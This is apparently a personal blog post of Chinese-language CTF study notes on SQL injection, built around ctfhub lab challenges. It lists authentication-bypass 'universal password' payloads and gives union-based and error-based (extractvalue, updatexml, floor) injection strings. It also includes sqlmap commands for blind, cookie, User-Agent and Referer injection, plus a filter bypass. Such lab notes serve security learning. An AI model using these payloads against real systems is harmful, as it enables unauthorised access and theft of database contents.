SQL_injection

SQL注入

SQL注入的一般流程

一些万能密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

整数型注入

此题为ctfhub一题

根据网页显示内容输入1进行测试,发现此题可能存在SQL注入,在URL末尾使用’and 1 = 1’和’and 1 = 2’验证是否存在SQL注入

img

and1 = 2’语句正常执行,回显出错,说明此题存在SQL整数型注入

img

使用order by 判断字段数量,从order by 1开始,order by 3没有回显,说明只有2个字段

知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

img

判断数据可能不存在数据库中,在id=1中加入负号可以查看到不存在数据库中的数据

img

修改2为database()

img

查看所有数据库名

1
id=-1 union select 1,group_concat(schema_name)from information_schema.schemata

image-20230822183118550

查看刚才获取到的数据库全部表名,最后在sqli数据库中发现名为flag的可疑表名

1
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

image-20230822183208812

查看flag表中的全部字段名

1
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

image-20230822183300575

查看flag表中的全部数据,发现此题flag

image-20230822183333043

字符型注入

本题与上一题基本一致,只需要处理一下单引号闭合的问题,以及用#号注释掉的问题,其他解法一致

报错注入

三种方法extractvalue() updatexml() floor()

(1)extractvalue报错注入:0x7e就是~用来区分数据
里面用select语句,不能用union select

concat()函数
1.功能:将多个字符串连接成一个字符串。
2.语法:concat(str1,str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

extractvalue报错注入语句格式:

?id=2 and extractvalue(null,concat(0x7e,(sql语句),0x7e))

爆库

1 and extractvalue(null,concat(0x7e,(database()),0x7e))

爆表

1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))

爆字段

1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))

获取flag

1 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))

只能得到部分flag,需要借助mid函数来进行字符截取从而显示32位以后的数据

mid语法

1
select mid(column_name,start[,length]) from table_name

2 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e))

(2)updatexml报错注入

语法:

1
1 and updatexml(1,concat(0x7e,sql语句,0x7e),1)

(3)floor报错注入

语法:

1
1 union select count(*), concat((), floor(rand(0)*2)) x from news group by x

布尔盲注

1
2
3
4
5
python sqlmap.py -u url/?id=1 --batch  #匹配
python sqlmap.py -u url/?id=1 --dbs
python sqlmap.py -u url/?id=1 -D sqli --tables
python sqlmap.py -u url/?id=1 -D sqli -T flag --columns
python sqlmap.py -u url/?id=1 -D sqli -T flag -C flag --dump

时间盲注

同上

Cookie注入

方法一:抓包后在cookie中进行sql注入

方法二:sqlmap

1
2
3
4
5
python sqlmap.py -u url --cookie "id=1" --dbs --level 2

python sqlmap.py -u url --cookie "id=1" -D sqli --tables --level 2

python sqlmap.py -u url --cookie "id=1" -D sqli -T frkadyqcec --columns --dump --level 2

UA注入

方法一:抓包后在UA进行sql注入

方法二:sqlmap

1
2
3
4
5
6
python sqlmap.py -u url  --level 3 --dbs

python sqlmap.py -u url --level 3 -D sqli --tables

python sqlmap.py -u url --level 3 -D sqli -T asqmhkqrnf --columns --dump

Refer注入

1.用hackbar或者burp抓包注入都行

2.sqlmap

1
python sqlmap.py -u url  --level 5 -p referer  -D sqli -T qpwqsdpqwl -C nfibqdpovy --dump

过滤空格

/**/代替空格即可


SQL_injection
http://ikun604.github.io/2023/10/06/sqli_learn/
作者
yfz-ikun604
发布于
2023年10月6日
许可协议